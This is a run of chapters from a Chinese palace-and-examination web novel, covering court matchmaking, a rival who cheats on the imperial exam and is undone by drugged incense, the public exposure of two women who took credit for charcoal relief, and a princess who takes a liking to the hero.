“娘,你说什么呢!”皇帝气红的脸皱成一团,“娘,我什么性格你还不清楚吗?我怎么可能对她出手,她比我女儿还小两岁! 是孟希延,他看上宁叹了,还非她不娶。” 第394章:下笔如有神 “什么!”恭太妃反应很激烈,“宁家闺女不是许过人家了吗?孟小延怎么会看上一个有夫之妇? 孟小延是孟家的长房长孙,也是孟家的下一任家主,宁叹现在毁了容,将来如何主持中馈,出门应酬?” 恭太妃揉着太阳穴,又瞪了皇帝一眼:“你们一个个的,就没一个让我安心的。” 皇帝一拍大腿,跟恭太妃同仇敌忾:“可不是嘛!我跟娘您想的一样。 我也苦口婆心的劝过,可这孩子执迷不悟啊。” 恭太妃深吸一口气:“他就是在军营里待久了,没见过姑娘,才轻易被宁家闺女迷住了。 不如我给她安排几个漂亮姑娘过去?” “可千万别!”皇帝拉住恭太妃的手,语重心长地道,“娘,您可千万别出昏招。 孟希延看上人家,已经不是一天两天了。 他十五岁就对宁家姑娘情根深重了,他本想等姑娘及笄就去提亲,谁知钱家抢先一步。 钱家那小子,跟孟希延还是好朋友,他啊伤心难过之下,去了北疆好几年都不肯回来。 后面钱家小子死了,宁家姑娘决定守望门寡,他也不想娶妻生子了。” 皇帝说着,长叹一声:“孟希延宁愿终身不娶都只要她,现在好不容易有了希望。 他出发去晋阳府之前,特地求到我面前,要我保护好宁家姑娘。 您现在塞人过去,不是破坏他的终身幸福嘛!” 恭太妃脸上肌肉抽搐:“毁容了也愿意和她在一起,孟家还真是出情种,他爹当年也是非小白不娶。” “所以说啊,与其让孟希延移情别恋,不如多给宁家姑娘一些看重和体面,以后就算顶着那张脸,也没人敢轻视她。” 恭太妃摆摆手:“你们年轻人的事,我管不了了。 就照你的意思安排吧,后天我就启程去大照寺。” “娘辛苦了。”皇帝依恋地靠在恭太妃的肩膀上撒娇。 恭太妃慈爱地摸摸他的头:“别忘了太后娘娘那边,你也要多多尽孝,知道吗?” “儿子知道了。”皇帝表情顿了顿,但还是应道,“只有娘才会替儿子操持这些琐碎小事。” 他们又聊了一会儿,说起在‘清风小楼’的事。 皇后就道:“那个园子几分巧思,娘可试他们的蔻丹?很是精致漂亮。” “我倒是更喜欢那个按穴推拿的姑娘,让我没用香、药就睡了个好觉。” 皇帝立即说要把那个女匠人弄到宫里来,日日服侍恭太妃。 不过被恭太妃拒绝了,“不可如此霸道。我需要的时候,叫她上门服务既可。” 陪着恭太妃说了会儿话,见她疲累,皇后夫妻就一起告辞出来。 皇后提醒皇帝:“你已经三天没去兰妃那边了,这可不是一个宠妃方有的待遇。” 皇帝脸色一黑,悄悄勾住皇后的手指,“我又要去卖身了。 纵观古今,哪个皇帝做得有我憋屈的。” 皇后忍着笑:“欲戴其冠,必承其重,皇上,我相信您可以的!” “没良心的。”皇帝瞪她一眼,拂袖而去。 龙驾很快离开。 皇后让人把凤撵撤了,蓝心姑姑扶着皇后闲庭散步回去。 宫人自行退到一丈开外。 蓝心姑娘不解的问:“娘娘,既然皇上不愿意,正好兰家又犯了事,为什么不趁此机会……”把兰家灭了? 皇后道:“前朝后宫密不可分,倒了一个兰家,又会起来一个花家。 牵一发而动全身,乱中生机遇,不知多少人会趁乱投机。 现在的朝堂局势尽在皇上的掌控之中,何必多此一举。” 兰家,一直是皇上给自己树的一块万能盾牌。 进可攻,退可守。 好用得很。 蓝心姑娘似懂非懂地点点头。 翌日。 清晨。 晋阳府衙。 孟希延早起打完辰练拳。 他正用毛巾擦着身子,辰一哥抱着一只灰色信鸽,急匆匆地跑了进来。 “希延,京城来信了。” 辰一哥先将一封书信递给孟希延。 孟希延展开信之后,一目十行的看完。 脸色瞬间变得非常难看。 “姓谢的,果然阴魂不散,他一直在纠缠宁叹小姐。” 辰一哥问:“宁叹小姐没受到伤害吧!” 孟希延摇摇头:“走之前,我安排了人暗中保护她,皇上也有派暗卫,她没受到伤害。 谢家那位少主性格十分偏执,恐怕不会轻易放过宁叹小姐。” 孟希延现在十分后悔。 自己为何要来晋阳府。 他就该留在京城,保护她的。 “不行,我还要再做一些别的安排……”孟希延神情有些慌乱地道。 辰一哥连忙将鸽腿上的密信取下来:“这里还有一封京城的加急飞鸽传书,说不定有别的情况。” 孟希延展开小字纸,上面米粒大的字便映入眼帘,上面只有简短的几个字:叹随恭,后日入大照寺。 孟希延顿时长叹一声,重重松了口气。 大庸朝还没人敢去触恭太妃的眉头,即便是谢家的少主,也没这个胆量。 如此一来,宁叹就彻底安全了! 孟希延重重松了口气,匆匆回到房间,从抽屉里拿出两只药瓶,递给辰一哥:“辰一哥,这里面是祛疤膏,你派人送回去给宁叹小姐。” “是。”辰一哥接过瓷瓶,转身就走。 “等等。”孟希延又忽然叫住他。 辰一哥转身:“还有什么事?” 孟希延道:“别送给宁叹小姐,若是让人知道,会毁她清誉。 还是送给皇上吧,他会通过太妃娘娘的手,送到宁叹小姐手上的。” 辰一哥无奈摇头。 以前担心孟希延不开窍,不懂男女情爱。 现在动了情,一点过渡没有,就变成了恋爱脑。 辰一哥一时分不清,孟希延哪个状态更好! 京城,贡院。 第一场考试的题目公布。 随着一声锣响,第一场考试,正是开始。 很快,偌大的贡院里,就响起写字的沙沙声。 应知林并未作答,反而抱着手臂,一副昏昏欲睡的样子。 惹得监考官在他面前转了好几圈。 反观霍耀行那边。 他入了考场之后,就一直在养精蓄锐。 看见考题之后,果然和前世一模一样。 他闭目回忆,前世祁云舟的答卷,便逐一浮现在他脑海。 他顿时下笔如有神! 第395章:冒领功劳 同和堂。 张大夫这几天一直在此守着祁云舟。 他与林大夫配合着,刚给祁云舟针灸治疗结束。 房门就被敲响了。 药童立即跑去开门。 “元公子,你来了。”张大夫立即拘谨地站了起来。 元小头领头到床边看了祁云舟一眼:“他今天的脸色,好像比昨天好一些了。他什么时候能醒?” 张大夫道:“清醒的时候我也不能保证,不过他每日针灸之后,情况都会好转,想必离清醒之日就不远了。” “劳烦张大夫了。”元小头领客气地道。 张大夫诚惶诚恐,带着人退了出去。 房间里只剩下二人。 元小头领坐到床边,叹了口气,道:“你若是没出事,今日也该坐在贡院中考试。 你冒着生命危险保下右臂,要是就此一睡不醒,可就白费那么多苦了。” “我说元兄,你就不能盼着我一点好。”床上的人突然发出虚弱声音。 “祁兄……你醒了!我还以为你再也醒不过来了。”元小头领看见祁云舟缓缓睁开了眼睛,欣喜不已。 祁云舟虚弱地点点头,“今天已经开考了吗?” “对!已经开考了。你安心养病,三年之后你再战也不迟。” “谢谢……我会的。”祁云舟没说两句话,就又昏睡过去。 叫张大夫进来,确定祁云舟已经脱离生命危险,元小头领才松了口气。 他派身边人去给闻颜报信,省得她担心。 “小头领,今日是官府发越冬炭的最后一日了,闻家那对母女又出来作妖了。”元小头领的手下,匆匆跑来回禀。 那对母女还敢往上凑,还真是不要脸到极致。 “走,我去会一会她们。” 元小头领翻身上马,直接赶了过去。 今年的冬季比往年长很多。 以往官府在二月初就结束越冬炭的供应。 今年愣是坚持到现在。 城西。 最大的越冬炭发放处。 江心葵和闻如月母女,被热情的百姓团团围住。 “江夫人,闻小姐,这个冬天多亏了你们。 要不是有你们掏空家底,拿出这么多炭来,我们这些穷苦百姓,恐怕早就饿死、冻死了。” “这是我家做的豆腐,还请二位恩人收下。” “这是我家发的豆芽……” “这是我绣的鞋垫……” “这是我绣的手帕……” 百姓们一拥而上,不断给母女二人塞东西。 他们都发自真心喜欢、并感激她们的。 要不是有她们的慷慨解囊,他们这些没钱的人,恐怕已经冻死在这个冬天了。 忽然,人群里有人磕头,大呼着:“恩人慈悲为怀,我们全家一辈子感激你。” 有人带头,其他人一时也中她站在下,对江心葵母女跪拜不止,高呼声响彻半边城。 母女二人对视一眼,不约而同地露出大获全胜的笑容。 闻颜真是蠢得要死。 她费尽心思,从晋阳府弄到这么多炭又如何? 最后还不是给她们做了嫁衣。 江心葵已经想到如何利用这些民心,让闻父从现在的位置上挪一挪。 哪怕不升职,能够换到鸿胪寺、或者调去管理科考也行啊。 三年一次的会试,那些官员不知能捞到多少油水。 更可见的,是隐藏在暗处的人脉! 总之,不管调去哪里,都比他现在主管祭祀要好得多! 闻如月却在想,霍家会因此获得好名声。 等霍耀行考完出来,一定要他跟自己道歉,并且处理掉江柔儿,她才会原谅他。 就在母女二人臆想天开之时,元小头领领着人马悄悄赶来。 他骑在马上,一身锦衣,神情颇有几分冷峻。 他看了一眼混乱的现场,他朝手下挥了挥手。 手下立即举起一只铜锣,用力一敲。 ‘咣——’一声巨响。 破锣声震得现场为之一静。 所有人都朝这个方向看过来。 元小头领脸色冷沉,高声道:“你们在这里干什么?聚众闹事吗?” 那些百姓立马噤声,缩着脖子不出头。 江心葵眯着眼睛,看了元小头领好一会儿,确定他不是什么世家子弟,这才大声反驳回去:“你谁啊,我们的事,用得着你来管?” 元小头领淡淡扫她一眼,问道:“刚才听你们说,今年的越冬炭,是你们母女亏本补贴给京城百姓的?” “你是什么身份,我凭什么告诉你。”江心葵挥挥手,“劝你出门在外,少管闲事。” 百姓也站出来维护江心葵母女:“就是,你算哪根葱啊!我在这里买了两三个月的越冬炭,每次都能看见江夫人和闻小姐忙前忙后,这还做得了假吗?” “就是,我们是切切实实的受益者,难道不比你清楚?” 元小头领冷冷地瞥了他们一眼:“今年所有的越冬炭,都是朝廷采购来帮百姓渡过难关,跟你们闻家母女有何关系?” 江心葵心里发虚:他说得振振有词,不会真的知道些什么吧! 她眼珠子滴溜溜一转:“朝廷采购的就是我们的炭,这些炭可是我们花了大价钱从晋阳府弄来的,转手倒卖给京兆府,知道我们亏了多少钱吗?” 元小头领都快听笑了,要不是这些炭有大半经过他的手,他还真就信了江心葵的鬼话。 他头一次遇上这样的蠢货,都快把他给气笑了:“京兆府?你们莫不是走错了地方?今年的越冬炭可不是京兆府在负责。” “不是京兆府是什么?你睁大眼睛看清楚,看看这铺面,里面当差的人穿的衣裳,哪一件不是京兆府的人!” “抢了别人的功劳,还这么聒噪!”元小头领按了按耳朵,对身后的人吩咐,“去把京兆府尹找来。” “是。”他的手下,转身骑上马,就飞奔而去。 明明还冻得需要穿皮草的年纪,江心葵却莫名其妙发冷,额头沁出一层冷汗。 这件事不会真的还有隐情吧! 声援江心葵母女的百姓,见元小头领说得言之凿凿,一时间也拿不准该信谁。 一时间都不敢再吱声。 元小头领的人回来的得很快。 京兆府尹被他挂在马背上,颠得官帽都歪了,用双手狼狈的扶着,才没有掉下去。 京兆府尹滑下马背,踉踉跄跄好几下才站稳。 “谁……是谁找我啊!”府尹喘着气,看清马背上的元小头领后,他双腿一哆嗦,差点坐地上去。 第396章:霍耀行不对劲 京兆府尹赶紧扶正帽子,快步走到元小头领面前。 见京兆府尹撩起衣摆,就要跪下,元小头领一个眼神甩过去:“嗯?” 京兆府尹这才意识到,现在是在大街上。 他立即换了一副表情:“不知大人找下官来有何事?” 元小头领道:“你把这个冬天‘越冬炭’的事,好好跟百姓说道说道。” 京兆府尹丈二和尚摸不着头脑,不对元小头领怎么吩咐,他就怎么做。 他便将今年‘越冬炭’的事简明扼要地说了一遍。 “今冬严寒,炭价大涨。 不少人对柳老板的‘越冬炭’虎视眈眈。 京兆府兵力有限,根本不是那些劫匪的对手,皇上怜惜百姓受冻,便将‘越冬炭’的事,全权交给卫城禁军来处理。” 京兆府尹指着元小头领,对大家道:“这位便是卫城禁军的元小头领,这个冬天‘越冬炭’的事,都由他全权保护、调度。” 说到这里,事情已经水落石出了。 “可……可那些人穿着差役的衣裳,并不是卫城禁军的。” “那是因为负责放炭的人,确实是府衙派的人。一旦换上卫城禁军,全是生面孔,你们会不会生疑? 会不会担心用炭不够用。” 百姓听了,连连点头。 如果换成军队的人,他们确实会恐怕怀疑。 “所以说,这一切跟这对母女,没有任何关系?!” 有百姓抓住了重点。 “上面的官老爷想得可真周道啊,让我们没有一点后顾之忧。” “就是因为上面想得周道,才给有些坏人可趁之机。”有百姓咬牙切齿地瞪向江心葵母女。 群情激愤之下,江心葵母女吓得抱在一起:“不是这样的……事情根本不是他们说的那样,你们听我解释……” “事到如今,你还有什么好解释的? 难不成你要说,是官府抢了你们的功劳?” “不是的,我们没有撒谎,也没有要跟官府抢功劳。 因为这些炭是我们从晋阳府弄回京城,再批发给朝廷。 虽然是跟朝廷做买卖,但我们确实没有赚钱,还往里面贴钱。 我们隔三岔五就来协助放炭,那也是因为我们想要每一块炭都物尽其用,不被浪费。” 江心葵的脑子转得就是快。 这么短的时间内,就想到了这么完美的托词和借口。 元小头领都有些佩服她,才思敏捷。 “你是说,卫城禁军里面有人贪墨了‘越冬炭’?是谁?在什么时候?你说出来,我回去一定严查。” 元小头领一副要严肃处理的样子。 江心葵张了张嘴,一时间什么都说不出来。 贪墨,只是她随便扯的一个借口而已。 “到底是谁?你们倒是说啊!”京兆府尹也跟着催促道,“你只要说出一条有用的信息,京兆府定会配合卫城禁军,将那发灾难财的败类找出来。” “对!我们一定会将那些罔顾百姓生死的人揪出来,从重处罚,绝不姑息。 我们查不到,还可以找大理寺来查。 如今的大理寺少卿,是春节过后,皇帝刚任命的。 名叫裴秋谳,是刚从外地调回来的。 新官上任三把火,他上任没两个多月,就办了七八起大大小小的案子。 好些人被他送去边关捡石头了。 他为人刚正不阿,没有人能逃过他的法眼。” 京兆府尹步步紧逼。 江心葵本想推一个人出来当替死鬼,将这件事儿糊弄过去。 不过在听到要找大理寺的裴秋谳后,她顿时就怂了。 谁不知道那位裴大人,破案手段了得,又最是公正不阿,眼里容不得一点沙子。 这件事到了他手里,自己将无所遁形,被查得底朝天。 在虚荣和身败名裂之间,她选择了当鹌鹑。 元小头领可不会如此轻易的放过他,当即拆穿道:“你问也没有结果。 因为这个冬天的‘越冬炭’只有一个供应商,那就是‘一点墨’的柳东家。” “‘一点墨’的东家,不是闻夫人的养女吗?养了十六年,用破砖烂瓦把人‘风光’大嫁的那位。” “过新年前,确实有传言,那个东家从晋阳府弄来了百万斤木炭。” “如果是她的养女,她刚才的话也不算说谎。” “你的消息也太滞后了。 那位养女,早就跟他们断绝关系了。” “那她们不就是拿着别人的东西,做自己的人情吗? 啧啧啧……什么人呐这是!”百姓们议论纷纷。 有些人更是对二人破口大骂。 骂他们不要脸,竟然抢养女的功劳。 母女二人此前有多风光,现在就有多狼狈。 被她们骗过的人,气愤不已。 甚至想动手打她们。 元小头领阻止道:“大庭广众之下,岂可伤人?!” 大庭广众之下不行? 私下里就可以啰? “喝……啐……什么玩意儿!”不知是谁,愤怒之下,吐了一口老痰过去。 黄绿的老痰粘在闻如月胸口的衣襟上。 “啊……好可恶,哕……”闻如月差点当场吐出来。 百姓见这样更能恶心到母女二人,当即就不再执着于动手殴打。 而是争先恐后地挤上来,啐母女二人。 母女二人恶心坏了。 想逃又逃不掉,只能尖叫着抱在一起,保护脸上不被啐到恶心的东西。 元小头领在旁边看了一会儿,就被恶心得不行。 “府尹大人,这里的事,就交给你们了。”他一边干呕着,一边离开了现场。 京兆府尹:“哕……”府尹这个位置,他也不是非坐不可的! 第二天下午。 贡院里,第二场考试结束。 监考官将答卷收回之后,下发第三场的时务策题目。 应知林在众多学子间,表现得普普通通,没有太出挑,也没有太为难散漫。 他的一切都表现得刚刚好,就像一个再普通不过的中庸学子。 霍耀行的表现却格外抢眼。 特别是第一场考诗、赋。 他几乎是拿到试题就,就开始下笔写答案,他没有一点犹豫和迟疑。 不过,到了下午,他就有些心神不定。 因为题已做完,没有要他动脑筋的地方,所以他的感觉并不明显。 直到第二日清晨,他开始做第二考的史论。 霍耀行这才发现自己有些无法集中精神,身体里像是包着一团邪火,在蠢蠢欲动。 第397章:霍耀行脑子坏了 他以为是太累了,就休息了半日。 到了下午,他重新提笔作答,发现自己更加心慌。 注意力一直集中不了。 脑子转也变得迟缓糊涂。 身体里的那股邪火,更是越烧越旺。 就连巡逻路过的监考官,在他眼里都变得眉清目秀了许多。 霍耀行这才意识到,自己很不对劲。 或者说,是身体出了毛病。 好在第二考的史论,题目和前世一模一样,他并不需要费太多脑子,只要把最优答案誊写下来就好。 现在,还剩下最后一考的时务策。 霍耀行朝放题的监考官礼貌地点点头。 话题官前往下一个号舍。 霍耀行却久久没有翻开题目。 他反而掀起自己的衣袖,露出手臂上几道清清紫紫的痕迹。 轻轻一碰,就疼得他倒吸气。 他又摸了摸自己的大腿,刚一碰上,他就疼得嘶了一声。 下午为了写答案,他不知在手和胳膊上掐了多少下,现在稍微碰一下就疼得不行。 霍耀行咬了咬腮帮子,脸上露出痛苦之色。 第二场考试,他只是把背熟的答案写出来,就用尽了所有的力气和精力。 每写一个字,他都会不由自主想地想起江柔儿。 想起他把江柔儿压在书房的桌案、美人靠和太师椅上…… 他越是想,就越无法自拔,身体不受控制的扭动。 他差点没能答完第二场的史论。 眼看第三场时务策开考在即,好在这一场的最优答案,他也早就滚瓜烂熟,就是字数有些多,不知能不能写完。 他深吸一口气,又在腿上狠狠掐了一下,脑子终于清醒一些人,这才翻开试卷。 当他看清纸上的考题之后,霍耀行只觉得眼前一黑。 耳边响起尖锐的声音。 脑海里一阵阵发昏。 呼吸变得急促,双手不受控制地开始颤抖。 他又在腿上掐了几下,又看了一遍,才发现真的没有看错! 这次的时务策的题目,跟前世不一样了! 这次是以晋阳府的旱灾为题。 霍耀行气得不行。 皇帝竟因小小的旱灾,人就轻易理的了考题。 草率! 太草率了! 霍耀行的手捏紧成拳,因为太过用力和激动,他的脑袋一阵阵,仿佛下一秒就要昏过去。 以他现在的状态,根本没法思考作答。 霍耀行的脸色瞬间煞白。 最后一题,他该怎么考! 与此同时。 城门口的茶楼里。 闻颜坐在茶楼二楼靠窗的雅间里喝着茶等人。 忽然,雅间的门被人从外面推开。 佩儿急匆匆地跑进来,连灌了自己好几口茶水,这才喜形于色道,“小姐,你不知道今天发生了什么大喜事。” 佩儿卖了个关子。 闻颜捧哏,问道:“什么大喜事?你快告诉我,满足一下我的好奇心呗!” 佩儿这才得意洋洋地,把闻如月和江心葵的事说了一遍。 “你不知道,那对母女有多狼狈。身上全是口水和浓痰,哈哈哈哈……” 佩儿捧着肚子,笑得一抽一抽的。 闻颜露出浅笑:“元小头领还挺会办事的,不过佩儿,你是怎么知道那边有热闹的?” 佩儿吃着点心:“姓元的派人来通知我的啊。” 闻颜狐疑地看了佩儿一眼:“你跟元小头领什么时候这么熟了。而且你还叫他姓元的,太没规矩了吧。当听让他听了,会咬你。” “以后我会注意的。”佩儿不好意思地笑笑:“小姐,你看,敬小姐的马车进城了。” 闻颜探头看去。 果然看见敬明媚豪华的马车,慢慢驶入城中。 闻颜对佩儿:“去吧,到你表演的时刻了。” 佩儿点点头,就下楼去了。 不一会儿,佩儿突然冲到路上,惊到拉车的马儿。 杜鹃下马车来,将佩儿搀扶起来,双方客套地互道抱歉,就分开了。 马车再次启动。 马车里,杜鹃将一张纸条拿给敬明媚。 敬明媚展开,一目十行地看完。 她展颜一笑,对杜鹃道:“月底就是州学的入学考试了吧!” 杜鹃回道:“是。通过入学考试,就能成为生员,也就是秀才。” “我让哥哥寻的夫子,可有找到?” “小姐,夫子去年就找到了,原本计划年前送入京城,碰巧被雪灾耽搁了。 他如今暂居在京城附近的一个小县城里。” “立即派人去把他找过来,你家公子月底要参加生员考试。” “小姐,你终于肯让公子展露他的才学了吗?”杜鹃顿时欣喜不已,“以咱们公子的学识,考秀才轻轻松松,为何要特地找一名夫子?” “木秀于林,风必摧之。在考会试之前,低调些好。” “小姐,太好了,公子和小姐,终于可以崭露头角了。”杜鹃也跟着高兴。 敬明媚的长子在十二岁考中童生时,津平侯呵斥他的儿子:“一个庶子,要这般耀眼才华做什么? 难不成,是想跟你大哥抢位置?” 自那之后,敬明媚就没有了心气儿。 她想要脱离津平侯府,又舍不得一双儿女。 便一直让儿子女儿藏拙。 她以为儿子的才华这辈子都没展露的机会时,没想到闻颜出现了。 等她和闻颜的谋划成功,她的儿子便不用像曾经这般藏拙。 眨眼,五日会试结束。 闻颜早早起床梳洗打扮,便坐着马车,朝贡院而去。 贡院门口的场子不算大,此时已经站满了来接考生的人。 街边支着小摊,在卖各种零嘴和饮品。 闻颜一眼就看见了津平侯府的马车。 没等一会儿。 贡院大门就响起敲锣声。 随之,沉重大门嘎吱嘎吱地打开,考生依次有序地走了出来。 只见这些考生,衣服皱皱巴巴,脸色苍白虚弱,步伐虚浮,一个个像是被霜打过的茄子。 在贡院小小的号舍里呆五天四夜,还要高强度的作题,身体差点的都坚持不下来。 先出来的考生,被陆续接走。 很快。 一抹绯色身影,突然出现在贡院门口。 只见他长身玉立,昂首阔步,英俊的脸庞上没有一丝疲态。 就连他身上的外衫,都没有一丝褶皱。 让他在一众咸菜疙瘩里,特别显眼。 那抹绯色身影,忽然驻足观望,随即朝着闻颜马车的方向,用力挥了挥手,随后大步而来。 第398章:应知林招峰引蝶 应知林一袭绯衣,耀眼夺目,就像黑夜的湖泊里投入一轮月亮。 他穿过重重人群,朝闻颜的马车走去。 闻颜和佩儿站在马车前,一眼就看到了他。 “哇!小姐,姑爷今天可真俊。 别的考生都灰不溜湫,只有咱们姑爷,衣服板正,一丝褶皱都没有。” 闻颜也看向应知林。 他今日确实格外俊俏。 不过,这货是故意的吧! 五天时间,吃食都在小小的号舍里,怎么可能这么光鲜。 必定是在出来前,特地收拾过。 他想用美色迷死谁呢! 闻颜轻哼一声,就听身后酒楼上,传来女子的惊叹:“哇!你们快看。那个穿绯衣的考生好俊俏啊!” “确实俊俏,别人考完出来,成了咸菜疙瘩,他却还是衣冠整洁,清新脱人,站在人群里也太招眼了吧。” “他的模样本就俊俏,皮肤又白,这一身绯衣,更是让容貌气质翻倍。 虽然我一直觉得我哥哥模样出众,不过跟他相比,还是要差一点点的。” 听见那些议论声。 佩儿不屑地撇撇嘴:“再俊也是我家小姐的,看我宣誓主权!” 佩儿抬着手就要喊应知林。 闻颜吓死了,连忙把她的手按下来:“你做啥,他已经够张扬了,我们别再火上浇油了。” 让人知道自己是他妻子,保准成为众矢之的。 她可不想当活靶子。 佩儿不甘心地撇了撇嘴,拉着闻颜的胳膊左右晃了晃,撅着嘴巴:“小姐,姑爷也太招摇了吧。 他是去考试的,又不是选花魁的,干嘛打扮成这样。 就跟村里的大公鸡似的,抖着漂亮的尾巴,到处去勾搭小母鸡。 他是一点夫德都不守啊!” ‘扑哧’闻颜没忍住,一下就笑出了声。 佩儿急得直跺脚:“小姐,都有人惦记你碗里的肉了,你怎么还笑得出来啊。 真是皇帝不急,太监急。” “要是真有人看上他,心甘情愿替他生儿育女,倒也不错。”闻颜轻轻刮了佩儿的鼻尖一下,让她稍安勿躁。 佩儿晴天霹雳。 小姐这是什么意思嘛。 她供姑爷读书,帮姑爷照顾家人,拉拔松山村,出钱又出力。 眼看姑爷科举出头,荣华富贵在望。 小姐不赶紧给姑爷生个孩子,牢牢抓住他的心,怎么还把姑爷往外推呢? 男人最是善变。 他一旦勾搭上外面的狐狸精,那颗心就很难回到小姐身上! 佩儿急得直跺脚。 应知林人高腿长,几步就来到二人面前:“颜颜,我考完了。” 离得近了,应知林的模样,清晰地映入闻颜的眼帘。 五天四夜的贡院生活,仿佛对他没有任何影响。 发髻纹丝不乱,皮肤白皙透红。 明亮的眼睛,温柔的眼神,粉红的唇瓣。 被一身绯色衣裳衬得他气色极佳。 肩宽腰窄,气质儒雅,看得人移不开眼。 闻颜装做不经意的移开视线:“你感觉怎么样?累不累?租住的院子里人多嘈杂,你跟我回一点墨吧。 我让苏合提前准备好了洗漱的热水和食物吃食。 回去之后,你是先洗漱睡觉,还是吃饭?” “一切但凭夫人吩咐。”应知林满心满眼地看着她。 “那我们就赶紧走吧。”闻颜抓着他的手,就往马车里钻。 两人刚进马车。 佩儿就在马车外面提醒:“小姐,姑爷。是霍耀行。” 闻颜掀起帘子往外看。 就见两名霍三,跟在霍耀行身后,从人群里走出来。 霍耀行虽一身锦衣,却衬得他脸色苍白如纸。 他双眼通红,额头沁出一片冷汗。 垂在身侧的双手,更是紧握成拳。 他带着两名小厮,匆匆上了侯府的马车。 霍耀行从马车旁路过,他忽然歪头,朝闻颜看过来。 通红的双眼,阴鸷的眼神十分吓人。 闻颜忽然咧嘴,露出一个僵硬诡异的笑容。 霍耀行被她的笑容吓得心里一惊,皱着眉,迅速离开了。 应知林突然把脑袋搁在闻颜肩膀上,眉头微蹙:“他就是霍耀行。他的状态有点奇怪。” “大概是几天考试,吸干了他的精气神吧。”闻颜放下帘子,淡淡道。 她专门调制的熏香,效果比她预想的要好很多。 霍耀行这一回,还能考上进士吗? “你先小憩一会儿,到地儿我再叫你。” 应知林顺势就枕在她肩膀上:“让我靠一会儿。” 马车缓缓启动。 闻颜忽然想起一件事,对应知林道:“对了,祁云舟醒了。” “祁兄真的醒了!”应知林顿时来了精神,“我们先去见他。” “好。佩儿,我们先去同和堂。”路口,马车便在路口改变了方向。 贡院对面的酒楼二层,一个雅间内。 窗前或站或趴着五六名锦衣华服的女子。 那些女子对着驶远的,闻颜的马车指指点点。 其中一名女子,模样生得极美。 只着淡妆,便将身边的女子,压得毫无颜色。 且不说她头上所戴首饰,是如何的精致名贵,便是她身上披的那件狐裘披风就不是一般人能拥有的。 那披风长至脚踝,通体雪白,没有一丝杂色。 根本不是普通人能拥有的。 只见她垂眸看着楼下,淡淡问道:“那名绯衣考生,是谁家的?” 原本还在谈论应知林的美色的女子,顿时就不敢再吱论了。 绝色女子微微侧目,吩咐身边的婢女,“去,两个时辰之内,我要知道他所有的信息。” “是。”婢女领命,快步离去。 绝色女子,淡淡地扫了其他女子一眼:“这个男人,我看上了,你们应该有自知之明,不会再随便觊觎吧。” 其他女子连连点头:“不敢,不敢!” “量你们也不敢!”绝色女子对她们轻蔑一笑,一甩披风就大步离开了。 ** 没过多久,他们就到了同和堂。 祁云舟正在进行今日的治疗。 林大夫和张大夫互相配合着给他针灸。 祁云舟嘴里咬着一张毛巾,他疼得额头上冷汗直冒,也没吭声。 元小头领双手抱臂,站在门边,冷静地看着这一切。 听见脚步声,他敏锐地回过头来:“师兄,你来了!” 第399章:想嫁人了 应知林怕惊扰到祁云舟治疗,悄声走到元小头领身边,与他并排站着。 过了许久,元小头领才治疗完成。 冷汗将他的衣裳都浸透了。 药童帮他换过衣裳之后,闻颜他们才进去说话。 祁云舟醒来后一直很虚弱,经过几天休养,才勉强打起精神交流。 “应兄,你能把此次会试的题目默给我吗?我想养病无聊的时候,做做看。” “好,我一会儿就默写给你。”应知林点头应下。 又聊了一些会试之事,他们才说起案子的事。 “我们几乎能够确定,袭击你的人是闻如月,而幕后指使,应该是津平侯府的世子,霍耀行。” “这不对!”祁云舟舔了舔干燥起皮的嘴唇,才接着道,“袭击我的有两拨人。 如果霍耀行的目的是不让我参加会试,废我的手足既可。 第二拨人是冲着我命来的,每一下都往致命的要害招呼。” “你可是有怀疑对象?”闻颜端了一杯茶水,准备喂给他喝。 “让我来。”应知林半路截住,给祁云舟喂了两勺子水。 “我不确定。只是我被袭击前,跟谢琮弈起过冲突,他调戏姑娘被我们阻止。”祁云舟道。 谢琮弈! 调戏姑娘! 谢琮弈调戏的不会是宁叹吧! 狗东西,竟然还不死心! 好在宁叹跟恭太妃去了大照寺,谢琮弈想再骚扰她,也没那么狗胆。 闻颜的拳头瞬间捏紧。 以后有机会了,一定好好收拾他一顿。 “你安心养伤,谢琮弈那边我也会派人去查。 不过霍耀行那边做得很干净,线索已经断了,想要把他绳之以法,恐怕已经不能了。” 祁云舟缓缓闭了闭眼:“这个仇,我会亲自去报。” 既然霍耀行担心他在科举上压他一头,那他就让他在仕途上永无寸进。 “那个,既然我们都有共同的敌人,何不合作一把呗?”闻颜提议道,“毕竟,你参加下次会试,要要再等三年。 以津平侯府的人脉,他恐怕早就步步高升了,你想与他交手,恐怕不易。” “好,我跟你合作。”祁云舟立即答应,。 他多迟疑一秒,就是对复仇的不尊重。 “既然以后是合作伙伴了,那你就好好养病,你在京城的生活,我们会负责到底。” 敲定好合作意向,祁云舟已经又累又困,闻颜他们就告辞离开了。 与元小头领道别之后,闻颜三人就回到‘一点墨’。 先舒舒服服的泡了一个热水澡,换上干净清爽的衣裳。 闻颜陪着他吃过饭食,就让他去睡觉休息。 “我不困。”应知林拿着一本书强撑。 谁知,话刚说完,就打了一个大大的哈欠。 闻颜强行把他塞进卧房里。 ** 夕阳西下。 一辆低调的马车,缓缓驶入宫门。 “母妃!” 兰妃的寝宫内,一名穿着长狐裘的绝色女子,匆匆走了进来。 她扑进兰妃怀里:“母妃,女儿想你了!” “你个小没良心的,有多久没来看为娘了。”兰妃兰玉,轻哼一声,扭过头去不看绝色女子。 两人的容貌有五六分相似,熏香一样的娇艳美丽。 绝色女子再次扑到兰玉怀中:“哎呀母妃,你别生气了嘛,襄儿不是故意不来看您的。 看在女儿有好消息的份上,您就原谅女儿嘛。” “好消息?你有什么好消息?难不成是皇后生的那个贱种,死在外面了?” “那个贱种常年在宫外,我连他的样子都记不住了,怎么可能知道他的消息。”绝色女子露出娇羞之态,“母妃,你不是一直想让我嫁人吗?现在我愿意嫁了。” “当真?你真的愿意嫁人了!”兰妃不仅不喜,反而狐疑地看着姬襄,“说吧,你看上什么人了?” “一个进士,他长得特别好看,女儿一看见他,心脏就怦怦怦地跳个不停。 母妃,女儿要嫁给他。” “进士?我看只是举人吧!你今天去贡院门口了?”女儿没有报出对方身份,看来并非京城的世家大族子弟。 “嘻嘻,什么都瞒不过母妃,我娘果然是天底下最聪慧最温柔的女子!” “少给我戴高帽子。你可是大庸的公子,一个普通举子,配不上你。这门婚事,我不同意。” “我不嘛,我看上他了,我就要嫁给他。 而且他也不是普通举子,他可是解元。考个进士还不是手到擒来。 就算他考不中,娘找人把他弄成进士不就好了。 反正除了他,我谁也不嫁。” 